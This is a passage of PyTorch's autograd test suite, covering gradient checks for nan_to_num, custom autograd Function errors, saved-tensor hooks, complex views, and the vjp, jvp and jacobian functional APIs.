0.2] = float('nan') a[torch.rand_like(a) < 0.2] = float('inf') a[torch.rand_like(a) < 0.2] = -float('inf') a.requires_grad = True gradcheck(lambda x: x.nan_to_num(), a) gradgradcheck(lambda x: x.nan_to_num(), a) gradcheck(lambda x: x.nan_to_num(nan=1.2), a) gradgradcheck(lambda x: x.nan_to_num(nan=1.2), a) gradcheck(lambda x: x.nan_to_num(nan=1.2, posinf=2.0), a) gradgradcheck(lambda x: x.nan_to_num(nan=1.2, posinf=2.0), a) gradcheck(lambda x: x.nan_to_num(nan=1.2, posinf=2.0, neginf=-2.0), a) gradgradcheck(lambda x: x.nan_to_num(nan=1.2, posinf=2.0, neginf=-2.0), a) gradcheck(lambda x: x.nan_to_num(posinf=2.0, neginf=-2.0), a) gradgradcheck(lambda x: x.nan_to_num(posinf=2.0, neginf=-2.0), a) gradcheck(lambda x: x.nan_to_num(neginf=-2.0), a) gradgradcheck(lambda x: x.nan_to_num(neginf=-2.0), a) def test_custom_function_error(self): class BadFw(Function): @staticmethod def backward(ctx, foo): return foo class BadBw(Function): @staticmethod def forward(ctx, foo): return foo.clone() inp = torch.rand(1, requires_grad=True) with self.assertRaisesRegex(NotImplementedError, "must implement the forward"): BadFw.apply(inp) with self.assertRaisesRegex(RuntimeError, "must implement the backward"): BadBw.apply(inp).sum().backward() def test_custom_function_local_inplace(self): class MyFn(torch.autograd.Function): @staticmethod def forward(ctx, inp, inplace): view = inp.clone()[:3] if inplace: view += 2 return view @staticmethod def backward(ctx, grad): return grad, None base = torch.rand(10, requires_grad=True) foo = MyFn.apply(base, False) self.assertEqual(foo.grad_fn.__class__.__name__, "MyFnBackward") foo = MyFn.apply(base, True) self.assertEqual(foo.grad_fn.__class__.__name__, "MyFnBackward") def test_integer_outputs(self): inp = torch.rand(4, requires_grad=True) out = inp.argmax() self.assertFalse(out.dtype.is_floating_point) self.assertFalse(out.requires_grad) out = inp.argmin() self.assertFalse(out.dtype.is_floating_point) self.assertFalse(out.requires_grad) out = inp.argsort() self.assertFalse(out.dtype.is_floating_point) self.assertFalse(out.requires_grad) val = torch.rand((), requires_grad=True) out = torch.searchsorted(inp, val) self.assertFalse(out.dtype.is_floating_point) self.assertFalse(out.requires_grad) bins = torch.linspace(0, 1.0, steps=100, requires_grad=True) vals = torch.rand(5, 5, requires_grad=True) out = torch.bucketize(vals, bins) self.assertFalse(out.dtype.is_floating_point) self.assertFalse(out.requires_grad) val = torch.empty(5).requires_grad_() out = val.count_nonzero() self.assertFalse(out.requires_grad) def assert_only_first_requires_grad(res): if not isinstance(res, tuple): res = (res,) self.assertTrue(res[0].requires_grad) for out in res[1:]: if out is not None: self.assertFalse(out.requires_grad) for sort in [True, False]: for return_inverse in [True, False]: for return_counts in [True, False]: res = torch.unique(inp, sorted=sort, return_inverse=return_inverse, return_counts=return_counts) assert_only_first_requires_grad(res) res = torch.unique(inp, sorted=sort, return_inverse=return_inverse, return_counts=return_counts, dim=0) assert_only_first_requires_grad(res) res = torch.unique_consecutive(inp, return_inverse=return_inverse, return_counts=return_counts) assert_only_first_requires_grad(res) res = torch.unique_consecutive(inp, return_inverse=return_inverse, return_counts=return_counts, dim=0) assert_only_first_requires_grad(res) # Here we test the internal functions to make sure all of them are # covered on top of the public API res = torch._unique(inp, sorted=sort, return_inverse=return_inverse) assert_only_first_requires_grad(res) # This looks public but is actually manually deleted from the # torch namespace in torch/functional.py res = torch._VF.unique_dim(inp, dim=0, sorted=sort, return_inverse=return_inverse, return_counts=return_counts) assert_only_first_requires_grad(res) # We don't test `unique_dim_consecutive` here. # It looks public but the python binding is actually manually disabled in # tools/autograd/gen_python_functions.py res = torch._unique2(inp, sorted=sort, return_inverse=return_inverse, return_counts=return_counts) assert_only_first_requires_grad(res) def test_custom_function_cycle(self): class MyFn(Function): @staticmethod def forward(ctx, x, metadata): x = x.clone() ctx.meta = metadata ctx.save_for_backward(x) return x @staticmethod def backward(ctx, gO): x, = ctx.saved_tensors self.assertEqual(x, 3.14) self.assertEqual(ctx.meta["foo"], 3.14) return gO * x, None def get_refs(with_backward): a = torch.tensor(3.14, requires_grad=True) metadata = {} out = MyFn.apply(a, metadata) metadata["foo"] = out if with_backward: out.sum().backward() self.assertEqual(a.grad, a) return torch._C._WeakTensorRef(out) with disable_gc(): ref = get_refs(False) self.assertFalse(ref.expired()) gc.collect() self.assertTrue(ref.expired()) # The backward clears the saved_variables but not the __dict__ with disable_gc(): ref = get_refs(True) self.assertFalse(ref.expired()) gc.collect() self.assertTrue(ref.expired()) def test_input_buffer_accum(self): leaf = torch.rand(2, 2, requires_grad=True) # An op that returns sparse gradients ind = torch.tensor([[0, 0]], dtype=torch.long) out2 = leaf.gather(0, ind, sparse_grad=True) # An op that returns the gradients as-is out1 = leaf.clone() grad_out1_original = torch.rand_like(out1) grad_out1 = grad_out1_original.clone() grad_out2 = torch.rand_like(out2) torch.autograd.backward((out1, out2), (grad_out1, grad_out2)) # Given gradients should not be modified inplace self.assertEqual(grad_out1, grad_out1_original) def test_no_unnecessary_unwrapping(self): a = torch.randn(5, requires_grad=True) a_orig = a.detach().clone() b = a * a c = a * b d = torch.exp(a) # a is leaf self.assertIs(b.grad_fn._saved_self, a) self.assertIs(b.grad_fn._saved_other, a) self.assertIs(c.grad_fn._saved_self, a) # b is not an output self.assertIs(c.grad_fn._saved_other, b) # d is an output self.assertEqual(d.grad_fn._saved_result, d) self.assertIsNot(d.grad_fn._saved_result, d) c.sum().backward() with self.assertRaisesRegex(RuntimeError, "after they have already been freed"): c.grad_fn._saved_self # a is left untouched self.assertEqual(a, a_orig) def test_saved_variable_version_counter(self): a = torch.rand(2, requires_grad=True) b = torch.exp(a) b_unpacked = b.grad_fn._saved_result self.assertEqual(b, b_unpacked) self.assertEqual(b._version, b_unpacked._version) with torch.no_grad(): b += 1 self.assertEqual(b, b_unpacked) self.assertEqual(b._version, b_unpacked._version) def test_saved_variable_packing_unpacking_saved_original(self): def test(get_input, is_leaf): a = get_input() grad_fn = a.grad_fn y = a * a y.grad_fn._raw_saved_self.register_hooks(lambda x: 2 * x, lambda x: x / 2) self.assertEqual(a, y.grad_fn._saved_self) if not is_leaf: self.assertIs(grad_fn, y.grad_fn._saved_self.grad_fn) y.sum().backward() else: y.sum().backward() self.assertEqual(2 * a, a.grad) a = get_input() grad_fn = a.grad_fn y = a * a y.grad_fn._raw_saved_self.register_hooks(lambda x: 2 * x, lambda x: x) self.assertEqual(2 * a, y.grad_fn._saved_self) if not is_leaf: self.assertIs(grad_fn, y.grad_fn._saved_self.grad_fn) y.sum().backward() else: y.sum().backward() self.assertEqual(3 * a, a.grad) # double backward a = get_input() grad_fn = a.grad_fn y = a ** 3 y.grad_fn._raw_saved_self.register_hooks(lambda x: x, lambda x: x) s = torch.sum(y) g, = torch.autograd.grad(s, (a, ), create_graph=True) if not is_leaf: self.assertIs(grad_fn, y.grad_fn._saved_self.grad_fn) g.sum().backward() else: g.sum().backward() self.assertEqual(6 * a, a.grad) a = get_input() y = a * a y.grad_fn._raw_saved_self.register_hooks(lambda x: x, lambda x: 1) with self.assertRaisesRegex(TypeError, "Output of saved tensor unpack_hook expected to be a Tensor"): print(y.grad_fn._saved_self) def inplace_double(x): x *= 2 return x a = get_input() t = a * a t.grad_fn._raw_saved_self.register_hooks(inplace_double, lambda x: x / 2) y = t * 2 with self.assertRaisesRegex( RuntimeError, "one of the variables needed for gradient computation has been modified by an inplace operation"): y.sum().backward() # leaf test(lambda: torch.randn(5, requires_grad=True), True) # not leaf, not output test(lambda: (1 + torch.randn(5, requires_grad=True)), False) def test_saved_variable_packing_unpacking_did_not_save_original(self): a = torch.randn(5, requires_grad=True) y = torch.exp(a) y.grad_fn._raw_saved_result.register_hooks(lambda x: x, lambda x: x) self.assertEqual(y, y.grad_fn._saved_result) self.assertIs(y.grad_fn, y.grad_fn._saved_result.grad_fn) y.sum().backward() self.assertEqual(a.grad, y) def index_perm_variable(shape, max_indices): if not isinstance(shape, tuple): shape = (shape,) index = torch.randperm(max_indices).narrow(0, 0, reduce(mul, shape)).view(shape) return index def bernoulli_scalar(): return torch.tensor(0, dtype=torch.uint8).bernoulli_() def gradgradcheck_method_precision_override(test_name): # these are just empirical observations, we should improve gradgradcheck_precision_override = { 'test_norm': {'atol': 2e-2, 'rtol': 1e-2}, 'test_norm_1_5': {'atol': 1.5e-2, 'rtol': 1e-2}, 'test_norm_3': {'atol': 5e-2, 'rtol': 1e-2}, 'test_dist': {'atol': 5e-2, 'rtol': 1e-2}, 'test_dist_4': {'atol': 8e-2, 'rtol': 1e-2}, } non_broadcasted_test_name = test_name.split("_broadcast")[0] override = gradgradcheck_precision_override.get(non_broadcasted_test_name) if override: if 'broadcast_lhs' in test_name or 'broadcast_rhs' in test_name: # errors accumulated across 1 dimension override = {'atol': override['atol'] * S, 'rtol': override['atol'] * S} elif 'broadcast_all' in test_name: # errors accumulated across multiple dimensions override = {'atol': override['atol'] * S * S, 'rtol': override['atol'] * S * S} return override def run_grad_and_gradgrad_checks(test_case, name, test_name, apply_method, output_variable, input_variables, run_gradgradcheck=True, check_batched_grad=True, check_forward_ad=False): test_case.assertTrue(gradcheck(apply_method, input_variables, eps=1e-6, atol=PRECISION, check_batched_grad=check_batched_grad, check_forward_ad=check_forward_ad)) gradgradcheck_precision_override = gradgradcheck_method_precision_override(test_name) if gradgradcheck_precision_override is not None: atol = gradgradcheck_precision_override['atol'] rtol = gradgradcheck_precision_override['rtol'] test_case.assertTrue(gradgradcheck(apply_method, input_variables, None, atol=atol, rtol=rtol, gen_non_contig_grad_outputs=True, check_batched_grad=check_batched_grad)) else: test_case.assertTrue(gradgradcheck(apply_method, input_variables, gen_non_contig_grad_outputs=True, check_batched_grad=check_batched_grad)) def run_functional_checks(test_case, test_name, name, apply_fn, run_grad_checks, f_args_variable, f_args_tensor, *, check_forward_ad=False): output_variable = apply_fn(*f_args_variable) if run_grad_checks: run_grad_and_gradgrad_checks(test_case, name, test_name, apply_fn, output_variable, f_args_variable, check_forward_ad=check_forward_ad) self_variable = f_args_variable[0] if isinstance(output_variable, torch.Tensor) and output_variable.requires_grad and self_variable is not None: output_variable.backward(randn_like(output_variable)) test_case.assertEqualTypeString(self_variable, self_variable.grad) test_case.assertEqual(self_variable.size(), self_variable.grad.size()) class TestAutogradComplex(TestCase): def test_view_func_for_complex_views(self): # case 1: both parent and child have view_func x = torch.randn(2, 2, 2, dtype=torch.double, requires_grad=True) y = x.detach().requires_grad_(True) x0 = x.clone() x1 = torch.view_as_complex(x0) x2 = torch.view_as_real(x1) x2.mul_(2) x2.sum().backward() y0 = y.clone() y0.mul_(2) y0.sum().backward() self.assertEqual(x.grad, y.grad) # case 2: parent has view_func but child does not x = torch.randn(2, 2, 2, dtype=torch.double, requires_grad=True) y = x.detach().requires_grad_(True) def fn(a): b = a.clone() b1 = torch.view_as_complex(b) b2 = b1.reshape(b1.numel()) return b2 x0 = fn(x) x0.mul_(2) x0.sum().backward() y0 = fn(y) y1 = y0.mul(2) y1.sum().backward() self.assertEqual(x.grad, y.grad) # case 3: parent does not have a view_func but child does x = torch.randn(10, dtype=torch.cdouble, requires_grad=True) y = x.detach().requires_grad_(True) def fn(a, dim0_size=5): b = a.clone() b1 = b.reshape(dim0_size, 2) b2 = torch.view_as_real(b1) return b2 x0 = fn(x) x0.mul_(2) x0.sum().backward() y0 = fn(y) y1 = y0.mul(2) y1.sum().backward() self.assertEqual(x.grad, y.grad) def test_view_with_multi_output(self): x = torch.randn(2, 2, 2, dtype=torch.double) x1 = torch.view_as_complex(x) # Taking an invalid view should always be allowed as long as it is not # modified inplace res = x1.unbind(0) with self.assertRaisesRegex(RuntimeError, "output of a function that returns multiple views"): res[0] += torch.rand(2, requires_grad=True) x.requires_grad_(True) x1 = torch.view_as_complex(x) # Taking an invalid view should always be allowed as long as it is not # modified inplace res = x1.unbind(0) with self.assertRaisesRegex(RuntimeError, "output of a function that returns multiple views"): res[0] += torch.rand(2, requires_grad=True) def as_identity(self): # view_as_real and view_as_complex behavior should be like an identity def func(z): z_ = torch.view_as_complex(z) z_select = torch.select(z_, z_.dim() - 1, 0) z_select_real = torch.view_as_real(z_select) return z_select_real.sum() z = torch.randn(10, 2, 2, dtype=torch.double, requires_grad=True) gradcheck(func, [z]) func(z).backward() z1 = z.clone().detach().requires_grad_(True) torch.select(z1, z1.dim() - 2, 0).sum().backward() self.assertEqual(z.grad, z1.grad) class TestAutogradFunctional(TestCase): def _assert_same_struct(self, res, base): # base and res should be Tensors or tuple of Tensors with the same size if isinstance(base, torch.Tensor): self.assertTrue(isinstance(res, torch.Tensor)) self.assertEqual(base.size(), res.size()) elif isinstance(base, tuple): self.assertTrue(isinstance(res, tuple)) self.assertEqual(len(base), len(res)) for el_base, el_res in zip(base, res): self.assertTrue(isinstance(el_base, torch.Tensor)) self.assertTrue(isinstance(el_res, torch.Tensor)) self.assertEqual(el_base.size(), el_res.size()) else: # Wrong base raise RuntimeError("The base given to `_assert_same_struct` doesn't have" " the right structure.") def _assert_interleaved_struct(self, res, base1, base2): # base1 and base2 can be Tensors or tuples of Tensors. # If they are tuples, res should be a tuple as well. # The indexing works as follows for base1, base2 being # - tuple, tuple: res[i][j][k][l] = (base1[i][k], base2[j][l]) # - tuple, Tensor: res[i][k][l] = (base1[i][k], base2[l]) # - Tensor, tuple: res[i][j][l] = (base1[i], base2[j][l]) # - Tensor, Tensor: res[k][l] = (base1[k], base2[l]) if isinstance(base1, torch.Tensor) and isinstance(base2, torch.Tensor): self.assertTrue(isinstance(res, torch.Tensor)) self.assertEqual(res.size(), base1.size() + base2.size()) elif isinstance(base1, tuple) and isinstance(base2, torch.Tensor): self.assertTrue(isinstance(res, tuple)) self.assertEqual(len(res), len(base1)) for el_res, el_base1 in zip(res, base1): self.assertTrue(isinstance(el_res, torch.Tensor)) self.assertTrue(isinstance(el_base1, torch.Tensor)) self.assertEqual(el_res.size(), el_base1.size() + base2.size()) elif isinstance(base1, torch.Tensor) and isinstance(base2, tuple): self.assertTrue(isinstance(res, tuple)) self.assertEqual(len(res), len(base2)) for el_res, el_base2 in zip(res, base2): self.assertTrue(isinstance(el_res, torch.Tensor)) self.assertTrue(isinstance(el_base2, torch.Tensor)) self.assertEqual(el_res.size(), base1.size() + el_base2.size()) elif isinstance(base1, tuple) and isinstance(base2, tuple): self.assertTrue(isinstance(res, tuple)) self.assertEqual(len(res), len(base1)) for el_res, el_base1 in zip(res, base1): self.assertTrue(isinstance(el_res, tuple)) self.assertEqual(len(res), len(base2)) for el_el_res, el_base2 in zip(el_res, base2): self.assertTrue(isinstance(el_el_res, torch.Tensor)) self.assertTrue(isinstance(el_base2, torch.Tensor)) self.assertEqual(el_el_res.size(), el_base1.size() + el_base2.size()) else: # Wrong bases raise RuntimeError("The bases given to `_assert_interleaved_struct` don't have" " the right structure.") def test_vjp_err_check(self): def foo(a): return 3 * a.narrow(0, 0, 3) def bar(a): return 3 * a.narrow(0, 0, 3), "bar" inp = torch.rand(4) v = torch.ones(3) with self.assertRaisesRegex(TypeError, "The inputs given to vjp must be either a Tensor"): res = autogradF.vjp(foo, (inp, 2), v) with self.assertRaisesRegex(TypeError, "The outputs of the user-provided function given to vjp must"): res = autogradF.vjp(bar, inp, v) with self.assertRaisesRegex(RuntimeError, "The vector v can only be None if the user-provided function returns"): res = autogradF.vjp(foo, inp) with self.assertRaisesRegex(RuntimeError, "The given v should contain a single Tensor."): res = autogradF.vjp(foo, inp, (torch.ones_like(inp), torch.ones_like(inp))) with self.assertRaisesRegex(RuntimeError, "v has invalid size: should be torch.Size"): res = autogradF.vjp(foo, inp, v[:2]) res = autogradF.vjp(foo, inp, v)[1] self._assert_same_struct(res, inp) def test_vjp_err_check_strict(self): def foo(a): return a.detach() def bar(a): # Make a non-leaf Tensor that requires_grad but that is not connected to the input return a.long().float().requires_grad_().clone() inp = torch.rand(4) v = torch.rand(4) with self.assertRaisesRegex(RuntimeError, "Output 0 of the user-provided function does not require gradients."): res = autogradF.vjp(foo, inp, v, strict=True) res = autogradF.vjp(foo, inp, v, strict=False) self._assert_same_struct(res[1], inp) self.assertEqual(res[1].abs().sum(), 0.) with self.assertRaisesRegex(RuntimeError, "The output of the user-provided function is independent of input 0"): res = autogradF.vjp(bar, inp, v, strict=True) res = autogradF.vjp(bar, inp, v, strict=False) self._assert_same_struct(res[1], inp) self.assertEqual(res[1].abs().sum(), 0.) # The Jacobian does not depend on the input def foo(a): return a.clone() inp.requires_grad_() with self.assertRaisesRegex(RuntimeError, "jacobian of the user-provided function is independent of input 0."): res = autogradF.vjp(foo, inp, v, create_graph=True, strict=True) res = autogradF.vjp(foo, inp, v, create_graph=True, strict=False) self._assert_same_struct(res[1], inp) self.assertEqual(res[1], v) def test_vjp_no_grad(self): def reducer(x): return x.sum(dim=1) inputs = torch.rand(4, 4) v = torch.ones(4) with torch.no_grad(): res = autogradF.vjp(reducer, inputs, v) self.assertIsNone(res[0].grad_fn) self.assertIsNone(res[1].grad_fn) self.assertNotEqual(res[1], torch.zeros(4, 4)) inputs.requires_grad_() v.requires_grad_() with torch.no_grad(): res = autogradF.vjp(reducer, inputs, v, create_graph=True) self.assertIsNotNone(res[0].grad_fn) self.assertIsNotNone(res[1].grad_fn) self.assertNotEqual(res[1], torch.zeros(4, 4)) def test_vjp_output(self): def reducer(x): return x.sum(dim=1) inputs = torch.rand(4, 4) v = torch.ones(4) res = autogradF.vjp(reducer, inputs, v) self._assert_same_struct(res[1], inputs) self.assertIsNone(res[0].grad_fn) self.assertIsNone(res[1].grad_fn) def adder(x, y): return 2 * x + 3 * y inputs = (torch.rand(2), torch.rand(2)) v = torch.ones(2) out, vjp_val = autogradF.vjp(adder, inputs, v) self._assert_same_struct(vjp_val, inputs) self.assertIsNone(out.grad_fn) self.assertIsNone(vjp_val[0].grad_fn) self.assertIsNone(vjp_val[1].grad_fn) def adder(x, y): return 2 * x + 3 * y, x + y inputs = (torch.rand(2), torch.rand(2)) v = (torch.tensor([1., 0.]), torch.tensor([1., 0.])) out, vjp_val = autogradF.vjp(adder, inputs, v) self._assert_same_struct(vjp_val, inputs) self.assertIsNone(out[0].grad_fn) self.assertIsNone(out[1].grad_fn) self.assertIsNone(vjp_val[0].grad_fn) self.assertIsNone(vjp_val[1].grad_fn) def test_vjp_scalar(self): def reducer(x): return x.sum() inputs = torch.rand(4, 4) v = torch.ones([]) res = autogradF.vjp(reducer, inputs, v) self._assert_same_struct(res[0], v) self._assert_same_struct(res[1], inputs) res = autogradF.vjp(reducer, inputs) self._assert_same_struct(res[0], v) self._assert_same_struct(res[1], inputs) def expander(x): return x.unsqueeze(0).repeat(4) inputs = torch.rand([]) v = torch.ones(4) res = autogradF.vjp(expander, inputs, v) self._assert_same_struct(res[0], v) self._assert_same_struct(res[1], inputs) def test_vjp_create_graph(self): def reducer(x): return x.sum(dim=1) inputs = torch.rand(2, 2, dtype=torch.double) v = torch.ones(2, dtype=torch.double) inputs.requires_grad_() v.requires_grad_() res = autogradF.vjp(reducer, inputs, v, create_graph=True) self._assert_same_struct(res[1], inputs) self.assertIsNotNone(res[0].grad_fn) self.assertIsNotNone(res[1].grad_fn) gradcheck(lambda inp, v: autogradF.vjp(reducer, inputs, v, create_graph=True), (inputs, v)) gradgradcheck(lambda inp, v: autogradF.vjp(reducer, inputs, v, create_graph=True), (inputs, v)) def adder(x, y): return 2 * x + 3 * y, x * y inputs = (torch.rand(2, dtype=torch.double, requires_grad=True), torch.rand(2, dtype=torch.double, requires_grad=True)) v = (torch.tensor([1., 0.], dtype=torch.double, requires_grad=True), torch.tensor([1., 0.], dtype=torch.double, requires_grad=True)) gradcheck(lambda *args: autogradF.vjp(adder, args[:2], args[2:], create_graph=True)[1], inputs + v) gradgradcheck(lambda *args: autogradF.vjp(adder, args[:2], args[2:], create_graph=True)[1], inputs + v) def foo(*args): x, y = args[:2] v = args[2:] x = x.cos() val, grad = autogradF.vjp(adder, (x, y), v, create_graph=True) return val[0].exp() + val[1].exp() + grad[0].exp() + grad[1].exp() + x.exp() + y.exp() gradcheck(foo, inputs + v) gradgradcheck(foo, inputs + v) def test_jvp_err_check(self): def foo(a): return 3 * a.narrow(0, 0, 3) def bar(a): return 3 * a.narrow(0, 0, 3), "bar" inp = torch.rand(4) v = torch.rand(4) with self.assertRaisesRegex(TypeError, "The inputs given to jvp must be either a Tensor"): res = autogradF.jvp(foo, (inp, 2), v) with self.assertRaisesRegex(TypeError, "The outputs of the user-provided function given to jvp must"): res = autogradF.jvp(bar, inp, v) with self.assertRaisesRegex(RuntimeError, "The vector v can only be None if the input to the user-provided function"): res = autogradF.jvp(foo, inp) with self.assertRaisesRegex(RuntimeError, "The given v should contain a single Tensor."): res = autogradF.jvp(foo, inp, (v, v)) with self.assertRaisesRegex(RuntimeError, "v has invalid size: should be torch.Size"): res = autogradF.jvp(foo, inp, v[:2]) res = autogradF.jvp(foo, inp, v)[1] self._assert_same_struct(res, foo(inp)) def test_jvp_err_check_strict(self): def foo(a): return a.detach() def bar(a): # Make a non-leaf Tensor that requires_grad but that is not connected to the input return a.long().float().requires_grad_().clone() inp = torch.rand(4) v = torch.rand(4) with self.assertRaisesRegex(RuntimeError, "Output 0 of the user-provided function does not require gradients."): res = autogradF.jvp(foo, inp, v, strict=True) res = autogradF.jvp(foo, inp, v, strict=False) self._assert_same_struct(res[1], res[0]) self.assertEqual(res[1].abs().sum(), 0.) with self.assertRaisesRegex(RuntimeError, "The output of the user-provided function is independent of input 0"): res = autogradF.jvp(bar, inp, v, strict=True) res = autogradF.jvp(bar, inp, v, strict=False) self._assert_same_struct(res[1], res[0]) self.assertEqual(res[1].abs().sum(), 0.) # The Jacobian does not depend on the input def foo(a): return a.clone() inp.requires_grad_() with self.assertRaisesRegex(RuntimeError, "jacobian of the user-provided function is independent of input 0."): res = autogradF.jvp(foo, inp, v, create_graph=True, strict=True) res = autogradF.jvp(foo, inp, v, create_graph=True, strict=False) self._assert_same_struct(res[1], inp) self.assertEqual(res[1], v) def test_jvp_no_grad(self): def reducer(x): return x.sum(dim=1) inputs = torch.rand(4, 4) v = torch.ones(4, 4) with torch.no_grad(): res = autogradF.jvp(reducer, inputs, v) self.assertIsNone(res[0].grad_fn) self.assertIsNone(res[1].grad_fn) self.assertNotEqual(res[1], torch.zeros(4, 4)) inputs.requires_grad_() v.requires_grad_() with torch.no_grad(): res = autogradF.jvp(reducer, inputs, v, create_graph=True) self.assertIsNotNone(res[0].grad_fn) self.assertIsNotNone(res[1].grad_fn) self.assertNotEqual(res[1], torch.zeros(4, 4)) def test_jvp_output(self): def reducer(x): return x.sum(dim=1) inputs = torch.rand(4, 4) v = torch.ones(4, 4) res = autogradF.jvp(reducer, inputs, v) self._assert_same_struct(res[1], res[0]) self.assertIsNone(res[0].grad_fn) self.assertIsNone(res[1].grad_fn) def adder(x, y): return 2 * x + 3 * y inputs = (torch.rand(2), torch.rand(2)) v = (torch.ones(2), torch.ones(2)) out, jvp_val = autogradF.jvp(adder, inputs, v) self._assert_same_struct(jvp_val, out) self.assertIsNone(out.grad_fn) self.assertIsNone(jvp_val[0].grad_fn) self.assertIsNone(jvp_val[1].grad_fn) def adder(x, y): return 2 * x + 3 * y, x + y inputs = (torch.rand(2), torch.rand(2)) v = (torch.tensor([1., 0.]), torch.tensor([1., 0.])) out, jvp_val = autogradF.jvp(adder, inputs, v) self._assert_same_struct(jvp_val, out) self.assertIsNone(out[0].grad_fn) self.assertIsNone(out[1].grad_fn) self.assertIsNone(jvp_val[0].grad_fn) self.assertIsNone(jvp_val[1].grad_fn) def test_jvp_scalar(self): def reducer(x): return x.sum() inputs = torch.rand(4, 4) v = torch.ones(4, 4) res = autogradF.jvp(reducer, inputs, v) self._assert_same_struct(res[0], torch.zeros([])) self._assert_same_struct(res[1], res[0]) def expander(x): return x.unsqueeze(0).repeat(4) inputs = torch.rand([]) v = torch.ones([]) res = autogradF.jvp(expander, inputs, v) self._assert_same_struct(res[0], torch.zeros(4)) self._assert_same_struct(res[1], res[0]) res = autogradF.jvp(expander, inputs) self._assert_same_struct(res[0], torch.zeros(4)) self._assert_same_struct(res[1], res[0]) def test_jvp_create_graph(self): def reducer(x): return x.sum(dim=1) inputs = torch.rand(2, 2, dtype=torch.double) v = torch.ones(2, 2, dtype=torch.double) inputs.requires_grad_() v.requires_grad_() res = autogradF.jvp(reducer, inputs, v, create_graph=True) self._assert_same_struct(res[1], res[0]) self.assertIsNotNone(res[0].grad_fn) self.assertIsNotNone(res[1].grad_fn) gradcheck(lambda inp, v: autogradF.jvp(reducer, inp, v, create_graph=True), (inputs, v)) gradgradcheck(lambda inp, v: autogradF.jvp(reducer, inp, v, create_graph=True), (inputs, v)) def adder(x, y): return 2 * x + 3 * y, x * y inputs = (torch.rand(2, dtype=torch.double, requires_grad=True), torch.rand(2, dtype=torch.double, requires_grad=True)) v = (torch.tensor([1., 0.], dtype=torch.double, requires_grad=True), torch.tensor([1., 0.], dtype=torch.double, requires_grad=True)) gradcheck(lambda *args: autogradF.jvp(adder, args[:2], args[2:], create_graph=True)[1], inputs + v) gradgradcheck(lambda *args: autogradF.jvp(adder, args[:2], args[2:], create_graph=True)[1], inputs + v) def foo(*args): x, y = args[:2] v = args[2:] x = x.cos() val, grad = autogradF.jvp(adder, (x, y), v, create_graph=True) return val[0].exp() + val[1].exp() + grad[0].exp() + grad[1].exp() + x.exp() + y.exp() gradcheck(foo, inputs + v) gradgradcheck(foo, inputs + v) def _test_construct_standard_basis_for(self, inputs): numels = tuple(tensor.numel() for tensor in inputs) results = autogradF._construct_standard_basis_for(inputs, numels) for result, inp in zip(results, inputs): self.assertEqual(result.dtype, inp.dtype) self.assertEqual(result.device, inp.device) results = torch.cat([result.to(device='cpu', dtype=torch.float) for result in results], dim=1) expected = torch.eye(results[0].shape[0], dtype=torch.float) self.assertEqual(results, expected) def test_construct_standard_basis_for(self): test_cases = [ (torch.randn(2, 3),), (torch.randn(1),), (torch.randn([]),), (torch.randn(1), torch.randn([]), torch.randn([])), (torch.randn(2), torch.randn(3), torch.randn([])), (torch.randn(2), torch.randn([]), torch.randn(3)), (torch.randn(2, 3), torch.randn(3), torch.randn(3, 4, 2)), (torch.randn(2, dtype=torch.float64), torch.randn(3, dtype=torch.float32)), ] for inputs in test_cases: self._test_construct_standard_basis_for(inputs) @unittest.skipIf(not TEST_CUDA, "test requires CUDA") def test_construct_standard_basis_for_cuda(self): test_cases = [ (torch.randn(2), torch.randn(3, device='cuda')), (torch.randn(3, device='cuda'), torch.randn(2)), ] for inputs in test_cases: self._test_construct_standard_basis_for(inputs) def _test_vectorize_raises_no_warnings(self, api): # vmap is an experimental prototype. When someone calls torch.vmap, # it raises a python warning. This test checks that # autogradF.{jacobian, hessian} don't raise that experimental prototype # warning; it is not nice for a public-facing API to raise a warning # no matter how it is called. def foo(a): return (a ** 2).sum() x = torch.randn(3) with warnings.catch_warnings(record=True) as wa: result = api(foo, x, vectorize=True) self.assertEqual(len(wa), 0) def test_jacobian_vectorize_raises_no_warnings(self): return self._test_vectorize_raises_no_warnings(autogradF.jacobian) def test_hessian_vectorize_raises_no_warnings(self): return self._test_vectorize_raises_no_warnings(autogradF.hessian) def _test_jacobian_err_check(self, vectorize): def foo(a): return 3 * a.narrow(0, 0, 3) def bar(a): return 3 * a.narrow(0, 0, 3), "bar" inp = torch.rand(4) with self.assertRaisesRegex(TypeError, "The inputs given to jacobian must be either a Tensor"): res = autogradF.jacobian(foo, (inp, 2), vectorize=vectorize) with self.assertRaisesRegex(TypeError, "The outputs of the user-provided function given to jacobian must"): res = autogradF.jacobian(bar, inp, vectorize=vectorize) res = autogradF.jacobian(foo, inp, vectorize=vectorize) self._assert_interleaved_struct(res, foo(inp), inp) def foo(a, b): return b, 3 * a.narrow(0, 0, 3) inp = (torch.rand(4), torch.rand(5)) res = autogradF.jacobian(foo, inp, vectorize=vectorize) self._assert_interleaved_struct(res, foo(*inp), inp) def test_jacobian_err_check(self): return self._test_jacobian_err_check(vectorize=False) def test_jacobian_err_check_vectorize(self): return self._test_jacobian_err_check(vectorize=True) def test_jacobian_err_check_strict(self): def foo(a): return a.detach() def bar(a): # Make a non-leaf Tensor that requires_grad but that is not connected to the input return a.long().float().requires_grad_().clone() inp = torch.rand(4) with self.assertRaisesRegex(RuntimeError, "Output 0 of the user-provided function does not require gradients."): res = autogradF.jacobian(foo, inp, strict=True) res = autogradF.jacobian(foo, inp, strict=False) self._assert_interleaved_struct(res, foo(inp), inp) self.assertEqual(res.abs().sum(), 0.) with self.assertRaisesRegex(RuntimeError, "Output 0 of the user-provided function is independent of input 0."): res = autogradF.jacobian(bar, inp, strict=True) res = autogradF.jacobian(bar, inp, strict=False) self._assert_interleaved_struct(res, foo(inp), inp) self.assertEqual(res.abs().sum(), 0.) # The Jacobian does not depend on the input def foo(a): return a.clone() inp.requires_grad_() with self.assertRaisesRegex(RuntimeError, "jacobian of the user-provided function is independent of input 0."): res = autogradF.jacobian(foo, inp, create_graph=True, strict=True) res = autogradF.jacobian(foo, inp, create_graph=True, strict=False) self._assert_interleaved_struct(res, inp, inp) self.assertEqual(res, torch.eye(4)) def test_jacobian_err_check_strict_vectorize(self): def foo(x): return x inp = torch.rand(4) with self.assertRaisesRegex(RuntimeError, "not supported together"): res = autogradF.jacobian(foo, inp, strict=True, vectorize=True) def test_jacobian_no_grad(self): def exp_reducer(x): return x.exp().sum(dim=1) inputs = torch.rand(4, 4) with torch.no_grad(): res = autogradF.jacobian(exp_reducer, inputs) self.assertIsNone(res.grad_fn) self.assertNotEqual(res, torch.zeros(4, 4)) with torch.no_grad(): res = autogradF.jacobian(exp_reducer, inputs, create_graph=True) 